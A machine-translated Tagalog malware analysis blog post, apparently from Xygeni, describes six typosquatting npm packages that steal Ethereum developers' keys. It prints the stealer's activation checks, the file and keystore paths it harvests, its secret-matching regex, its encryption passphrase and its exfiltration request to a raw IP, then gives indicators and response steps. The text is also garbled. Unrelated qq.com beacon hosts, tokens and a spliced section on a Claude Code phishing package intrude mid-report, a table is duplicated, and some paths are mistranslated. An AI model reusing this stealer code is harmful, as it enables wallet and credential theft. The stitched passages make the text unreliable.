Ninanakaw ng EVMDeFi npm Typosquatting Attack ang mga Key ng Developer

Ninakaw ng EVM/DeFi npm Typosquatting Attack ang mga Key ng Developer

Tl; DR

Noong Mayo 6, 2026, isang nag-iisang npm publisher, namikazesarada010206, naglabas ng anim na malisyosong pakete na tumatarget sa ecosystem ng Ethereum, Solidity, at DeFi developer.

Ang mga pakete, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, at web3-utils-core, gumamit ng mga kapani-paniwalang pangalan na idinisenyo upang magmukhang mga helper library para sa mga sikat na Web3 tooling.

Lahat ng anim na pakete ay naglalaman ng parehong telemetry.js file. Ang file ay byte-identical sa buong cluster, na may SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Hindi gumagana ang malware sa oras ng pag-install. Walang preinstall or postinstall hook. Sa halip, ito ay nag-a-activate kapag ang pakete ay na-import sa pamamagitan ng require().

Mahalaga ang detalyeng iyan.

Naghihintay ang implant hanggang sa aktwal na gamitin ng isang developer ang package. Pagkatapos ay sinusuri nito kung ang workstation ay mukhang isang tunay na Ethereum / Solidity development environment. Naghahanap ito ng mga Alchemy o Infura key, private key, mnemonics, deployer key, o isang lokal na direktoryo ng Foundry.

Kung tumutugma ang host, kokolektahin ng magnanakaw ang mga SSH private key, mga keystore ng Foundry / Geth / Brownie wallet, .env* mga file, at mga sensitibong environment variable. Ine-encrypt nito ang bundle gamit ang AES-256-GCM gamit ang isang hardcoded passphrase at ini-exfiltrate ito sa isang raw IPv4 C2 endpoint na hindi pinagana ang TLS verification.

Kinumpirma ng Malware Early Warning (MEW) system ng Xygeni na lahat ng anim na pakete ay malisyoso. Nakabinbin pa ang bundle ng ulat ng pagtanggal ng npm registry.

Ang Kumpol: Anim na Pakete, Isang Tagapaglathala

Ang account ng tagapaglathala namikazesarada010206 ay naka-link sa hindi na-verify na Gmail address namikazesarada010206@gmail.com.

Ang kampanya ay lumitaw bilang isang biglaang publikasyon na nag-iisang araw lamang noong Mayo 6, 2026. Ang lahat ng anim na pakete ay may bersyon bilang 1.0.0, ay walang runtime dependencies, at nagpadala lamang ng tatlong file:

package.json index.js telemetry.js

Idineklara rin nila ang parehong source repository:

https://github.com/harunosakura030303-maker/evmchain-config

Ang unang tatlong pakete ay nahuli ng mga MEW scanner sa unang publikasyon. Ang natitirang tatlo ay force-flaged matapos ang pagsusuri ng analyst sa npm profile ng publisher. Dati, pareho na ang byte-identical. telemetry.js ay nakumpirma sa buong cluster, isinara ang mga ito bilang malisyoso dahil sa consistency.

pakete bersyon Na-publish ang npm Tiket ng MEW kuru-kuro
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Nakakahamak na
viem-utils-core 1.0.0 2026-05-06 #51050 Nakakahamak na
mga utils na may core ng hardhat 1.0.0 2026-05-06 #51051 Nakakahamak na
evm-utils 1.0.0 2026-05-06 #51069 Malisyoso, ayon sa pagkakapare-pareho
mga kagamitan sa pandayan 1.0.0 2026-05-06 #51071 Malisyoso, ayon sa pagkakapare-pareho
web3-utils-core 1.0.0 2026-05-06 #51070 Malisyoso, ayon sa pagkakapare-pareho

Ang estratehiya sa pagpapangalan ay diretso ngunit epektibo.

Ang mga paketeng ito ay hindi nagpapanggap na eksaktong mga pangalan sa upstream. Sa halip, gumagamit sila ng mga kapani-paniwalang hulaping "utility" tulad ng -core, -utils, at -utils-coreDahil diyan, magmumukha silang mga kasamang library na maaaring asahan ng isang developer na makita malapit sa Web3 tooling.

Malisyosong Pakete Lehitimong Target
viem-core viem, isang sikat na kliyente ng Ethereum TypeScript
viem-utils-core viem
mga utils na may core ng hardhat hardhat, isang pangunahing kapaligiran sa pag-develop ng Solidity
evm-utils Pangkalahatang namespace ng tooling ng EVM
mga kagamitan sa pandayan pandayan, isang kadena ng kagamitan para sa Solididad
web3-utils-core web3-utils, mga katulong sa Web3.js

Ito ang huwaran ng "karagdagang pakete": hindi "Ako ang tunay na pakete," kundi "Mukha akong isang makatwirang katulong sa totoong pakete."

Para sa mga DeFi developer na mabilis kumilos, sapat na iyon para lumikha ng panganib.

Ano ang Mangyayari Kapag Na-import ang Pakete

Ang kadena ng pag-atake ay maliit, sinadya, at nakatuon sa mga kapaligirang pang-development ng crypto.

Walang pangkabit para sa pag-install. Sa halip, ang bawat pakete ay may kasamang index.js na nag-e-export ng stub functionality at pagkatapos ay naglo-load ng malisyosong telemetry module.

require('./telemetry').init();

Nangangahulugan ito na ang malware ay mag-a-activate sa unang pag-import.

Iyan ay kapaki-pakinabang sa operasyon para sa attacker. Maraming scanner at sandbox ang nakatuon sa pag-uugali sa oras ng pag-install. Naghihintay ang package na ito hanggang sa aktwal itong magamit ng isang developer, build script, test suite, o runtime path.

Activation Gate: Mag-fire Lamang sa mga Tunay na Web3 Developer Workstation

Ang pinakamahalagang bahagi ng implant ay ang activation gate.

Sinusuri ng malware ang mga environment variable na karaniwang matatagpuan sa mga makinang pang-develop ng Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Sinusuri rin nito kung tila naka-install ang Foundry:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Kung wala sa mga kundisyon na ito ang totoo, babalik ang function at walang gagawin.

Dahil dito, mas tahimik ang package sa mga generic analysis environment. Ang isang sandbox na walang Foundry, Alchemy keys, Infura keys, private keys, o mnemonics ay maaaring makakita ng mukhang hindi nakakapinsalang import.

Sa isang katugmang host, ang malware ay naghihintay ng 60 hanggang 90 segundo bago makuha:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Binabawasan ng pagkaantala ang malinaw na ugnayan sa pagitan ng pag-angkat at pag-exfiltration. .unref() Hinahayaan din ng tawag na lumabas nang normal ang proseso ng host kung ang pakete ay na-import sa isang panandaliang script.

Hindi ito maingay na pag-uugali ng smash-and-grab. Ito ay isang naka-target na stealer na idinisenyo upang maiwasan ang pagtakbo maliban na lang kung ang kapaligiran ng developer ay karapat-dapat na nakawin.

Ang Kinokolekta ng Magnanakaw

Kapag nakapasa na ang activation gate, ang malware ay nangongolekta mula sa mga source na pinakamahalaga sa Web3 development: mga private key, wallet keystore, deployment credential, cloud secret, npm token, at local project configuration.

pinagmulan Ano ang Kinokolekta
proseso.env Anumang baryabol na tumutugma sa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Mga file na naglalaman ng PRIVATE KEY o BEGIN OPENSSH, kasama ang buong nilalaman ng file
~/.pandayan/mga tindahan ng susi/* Mga file ng keystore ng wallet ng pandayan
~/.ethereum/keystore/* Mga file ng keystore ng Geth wallet
~/.brownie/mga account/* Mga file ng keystore ng brownie wallet
${cwd}/.env Buong nilalaman ng file
${cwd}/.env.local Buong nilalaman ng file
${cwd}/.env.production Buong nilalaman ng file
${cwd}/.env.development Buong nilalaman ng file
os.hostname() Metadata ng host
crypto.randomUUID() Tagatukoy ng biktima/sesyon
Petsa.ngayon() Stamp ng oras ng koleksyon
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Ang mga token ng ATTA ay:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Hindi pa namin makumpirma kung ang telemetry ay sariling analytics ng operator o isang hiwalay na monetized channel. Pareho ang mga ATTA token sa parehong sample na aming sinuri.

Kumpol B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

Ang sample noong Abril 1 ang mas magaspang at mas naunang bahagi ng kampanya.

heibai:2.1.88-claude.hk-4 ay nai-publish sa pamamagitan ng wuguoqiangvip28, isang account na nilikha noong Hunyo 7, 2025. Malinaw na binago ng pakete ang bersyon nito laban sa lehitimong 2.1.88 Paglabas na antropiko.

Hindi nito inaabuso ang CA-cert MITM. Sa halip, nagsisinungaling ito sa gumagamit tungkol sa OAuth endpoint.

Ang mga malisyosong karagdagan bukod pa sa leaked na source ng Claude Code ay kinabibilangan ng:

pinagmulan Ano ang Kinokolekta
proseso.env Anumang baryabol na tumutugma sa /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Mga file na naglalaman ng PRIVATE KEY o BEGIN OPENSSH, kasama ang buong nilalaman ng file
~/.pandayan/mga tindahan ng susi/* Mga file ng keystore ng wallet ng pandayan
~/.ethereum/keystore/* Mga file ng keystore ng Geth wallet
~/.brownie/mga account/* Mga file ng keystore ng brownie wallet
${cwd}/.env Buong nilalaman ng file
${cwd}/.env.local Buong nilalaman ng file
${cwd}/.env.production Buong nilalaman ng file
${cwd}/.env.development Buong nilalaman ng file
os.hostname() Metadata ng host
crypto.randomUUID() Tagatukoy ng biktima/sesyon
Petsa.ngayon() Stamp ng oras ng koleksyon

Ang listahan ng target ay lubos na tiyak. Hindi ito pangkaraniwang pagnanakaw ng browser o malawakang pag-scrape ng kredensyal. Ito ay para sa mga developer na bumubuo, sumusubok, nagde-deploy, o nagpapatakbo ng mga aplikasyon ng Ethereum.

Ang pagsasama ng mga keystore ng Foundry, Geth, at Brownie ay lalong mahalaga. Ang mga file na ito ay maaaring kumakatawan sa direktang pag-access sa mga wallet o mga pagkakakilanlan ng deployment. Kung ang attacker ay maaaring ipares ang mga ito sa mga password, mnemonics, o mga sikreto sa kapaligiran, maaari nilang ilipat ang mga pondo, magpanggap na mga deployer, o ikompromiso ang mga operasyon ng smart contract.

Pag-encrypt Bago ang Exfiltration

Ine-encrypt ng malware ang nakalap na datos bago ito ipadala.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Ang naka-hardcode na passphrase ay:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Ang panghuling payload ay nakabalot bilang JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Hindi ginagawang mas advanced ng encryption ang malware nang mag-isa. Gayunpaman, ginagawang mas mahirap nito ang pag-inspeksyon ng network. Makikita ng isang defender na nagbabantay sa paglabas ang isang JSON payload, ngunit hindi ang mga ninakaw na key, wallet file, o .env mga nilalaman na walang hardcoded na passphrase at decryption logic.

Pag-exfiltration papunta sa isang Raw IPv4 C2

Ang landas ng exfiltration ay naka-hardcode:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Ang malware ay nagpapadala ng data sa:

https://76.13.37.80:8443/api/v1/telemetry

Dalawang detalye ang kapansin-pansin.

Una, ang C2 ay isang raw IPv4 address sa halip na isang domain. Inaalis nito ang pangangailangan para sa pagpaparehistro ng domain at iniiwasan ang ilang mga pagtuklas batay sa domain.

Pangalawa, hindi pinagana ang pag-verify ng TLS gamit ang:

rejectUnauthorized: false

Pinapayagan nito ang malware na tumanggap ng anumang sertipiko, kabilang ang mga sertipikong nilagdaan mismo. Sa madaling salita, ang attacker ay makakakuha ng naka-encrypt na transportasyon nang hindi nangangailangan ng isang wastong pampublikong sertipiko.

Walang retry logic at walang fallback host. Tahimik na nilulunok ang mga error. Pinapanatili nitong tahimik ang package kung ang C2 ay offline o hindi makontak.

Bakit Mahalaga ang Kampanya na Ito

Karamihan sa mga malisyosong npm package na naglalayong habulin ng mga developer ang malawak na kredensyal: mga npm token, AWS key, GitHub token, o .npmrc file.

Pinaliliit ng kampanyang ito ang target.

Naghahanap ito ng mga senyales na ang makina ay pagmamay-ari ng isang Ethereum o Solidity developer. Pagkatapos ay kinukuha nito nang eksakto ang mga asset na mahalaga sa kapaligirang iyon: mga wallet keystore, private key, mnemonics, deployer key, .env mga file, at mga SSH key.

Dahil diyan, mas mapanganib ang kampanya para sa mga Web3 team kaysa sa isang generic na npm stealer.

Ang isang matagumpay na impeksyon ay maaaring maglantad sa:

  • Mga wallet ng pag-deploy
  • Mga susi ng admin ng smart contract
  • Mga susi ng tagapagbigay ng RPC
  • Mga kredensyal sa pag-deploy ng cloud
  • mga token sa paglalathala ng npm
  • Access sa SSH sa imprastraktura ng developer o build
  • Mga sikreto ng proyekto na nakaimbak sa .env file
  • Mga keystore ng wallet para sa Foundry, Geth, o Brownie

Malinaw din na ipinapakita ng mga pangalan ng pakete ang social engineering. Tinatarget nila ang ecosystem ng Web3 developer sa pamamagitan ng mga pamilyar na pangalan ng tool: viem, hardhat, foundry, evm, at web3.

Hindi kailangang ikompromiso ng aktor ang mga totoong proyekto. Kailangan lang nila ng isang developer para mag-install ng mukhang makatwirang companion package.

Mga Indikasyon ng Kompromiso at Pagtuklas

Mga Pakete at Tagapaglathala
Patlang halaga
tagapaglathala ng npm namikazesarada010206
Email ng tagapaglathala namikazesarada010206@gmail.com
Na-verify ang email Hindi
SCM napatunayan na Hindi
Iskor ng reputasyon 1.0
Pakete viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
Mga bersyon Lahat ng 1.0.0
Repositoryo ng pinagmulan https://github.com/harunosakura030303-maker/evmchain-config
Nakumpirmang malisyoso Lahat ng anim na pakete
network
uri halaga
C2 endpoint https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 port 8443/tcp
Pag-uugali ng TLS tanggihanHindi Awtorisado: mali
Iskema ng kargamento {"v":2,"iv": "d": "t": }
Mga File at Hash
uri halaga
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Layout ng pakete package.json, index.js, telemetry.js
Bilang ng file 3
Tinatayang kabuuang laki 3.4 KB

Mga Senyales ng Pag-activate

Sinusuri ng malware ang mga environment variable na ito:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Sinusuri rin nito ang:

~/.foundry/

Mga Naka-target na Landas ng Host

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Regex ng Koleksyon

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Mga Tala sa Pagtuklas

May ilang patakaran na nakakaapekto sa kampanyang ito nang hindi nangangailangan ng kumpletong pagsusuri sa pag-uugali.

Una, i-scan ang mga lockfile para sa anim na pangalan ng malisyosong pakete:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Anumang laban sa package-lock.json, yarn.lock, pnpm-lock.yaml, O node_modules dapat ituring ang kasaysayan bilang isang seryosong pangyayari.

Pangalawa, subaybayan ang mga proseso ng Node.js na nagbabasa ng mga path ng wallet keystore:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Bihirang maging lehitimong pag-uugali ito para sa isang paketeng na-import bilang isang helper dependency. Ito ay lalong kahina-hinala kapag sinusundan ng papalabas na aktibidad ng network.

Pangatlo, harangan o alertuhan ang mga koneksyon sa HTTPS sa:

76.13.37.80:8443

Lalo na kapag ang landas ng kahilingan ay:

/api/v1/telemetry

Pang-apat, maghanap ng mga npm package na pinagsasama ang mga katangiang ito:

  • Bagong publisher o mababang reputasyon
  • Hindi na-verify na Gmail account
  • Pangalan ng paketeng katabi ng Web3
  • Walang makabuluhang kasaysayan ng repositoryo
  • Maliit na layout ng pakete
  • index.js na naglo-load ng telemetry o helper file
  • Walang mga dependency sa runtime
  • Sensitibong koleksyon ng variable ng kapaligiran
  • Pag-access sa keystore ng Wallet

Mas kapaki-pakinabang ang pattern na ito kaysa sa isang IOC dahil maaaring baguhin ng susunod na package ang IP address ngunit panatilihin ang parehong targeting logic.

Checklist ng Tugon sa Kompromiso

Kung gumamit ang isang developer ng isa sa anim na pakete at ang kanilang kapaligiran ay tugma sa activation gate, ituring ang workstation bilang nakompromiso.

Kabilang dito ang mga makinang may naka-install na Foundry, mga Alchemy o Infura key sa kapaligiran, mga pribadong key, mnemonics, o mga deployer key.

Inirerekomendang tugon:

  • Idiskonekta ang host mula sa network.
  • Panatilihin node_modules, mga lockfile, kasaysayan ng shell, at mga kaugnay na log para sa forensics.
  • I-rotate ang bawat SSH keypair sa ilalim ~/.ssh/.
  • I-rotate ang mga susi ng wallet para sa bawat keystore sa ilalim ~/.foundry, ~/.ethereum, at ~/.brownie.
  • Ilipat ang mga pondo sa mga bagong wallet.
  • Iikot ang bawat sikretong nakaimbak .env* mga file sa mga repositoryo kung saan nagtrabaho ang developer.
  • I-rotate ang mga environment secret na tumutugma sa collection regex, kabilang ang mga AWS key, npm token, deploy token, API key, private key, seeds, at mnemonics.
  • Aktibidad ng audit cloud, npm, GitHub, RPC provider, at blockchain simula nang unang mai-install ang package.
  • Muling i-imahe ang workstation bago gamitin muli.

Ang Dapat Alisin ng mga Tagapagtanggol

Ipinapakita ng kampanyang ito kung paano umuunlad ang npm typosquatting kaugnay ng mga high-value developer ecosystem.

Hindi kailangan ng aktor ng pagtitiyaga. Hindi nila kailangan ng paglilihim. Hindi nila kailangan ng kahit na pagpapatupad sa oras ng pag-install.

Sa halip, umasa sila sa tatlong bagay:

  • Mga kapani-paniwalang pangalan ng pakete ng Web3
  • Pag-activate lamang sa mga totoong makinang pang-develop ng crypto
  • Direktang pagnanakaw ng mga file at mga sikretong pinakamahalaga sa mga developer ng Ethereum

Dahil dito, madaling makaligtaan ang kampanya sa malawakang pag-scan at mapanganib kapag napunta ito sa tamang kapaligiran.

Para sa mga Web3 team, malinaw ang aral: ituring ang mga pangalan ng dependency bilang bahagi ng iyong threat model. Ang isang package na mukhang hindi nakakapinsalang katulong ay maaari pa ring maging pinakamaikling landas patungo sa pagkompromiso sa wallet.

Naiulat na sa npm registry. Ia-update namin ang post na ito kapag naalis na ang publisher account at mga package.

mga tool sa pagsusuri ng komposisyon ng software ng mga tool sa sca
Unahin, ayusin, at i-secure ang mga panganib ng iyong software
Kunin ang Iyong Libreng Account.
Walang kinakailangang credit card.

I-secure ang Iyong Pag-develop at Paghahatid ng Software

kasama ang Xygeni Product Suite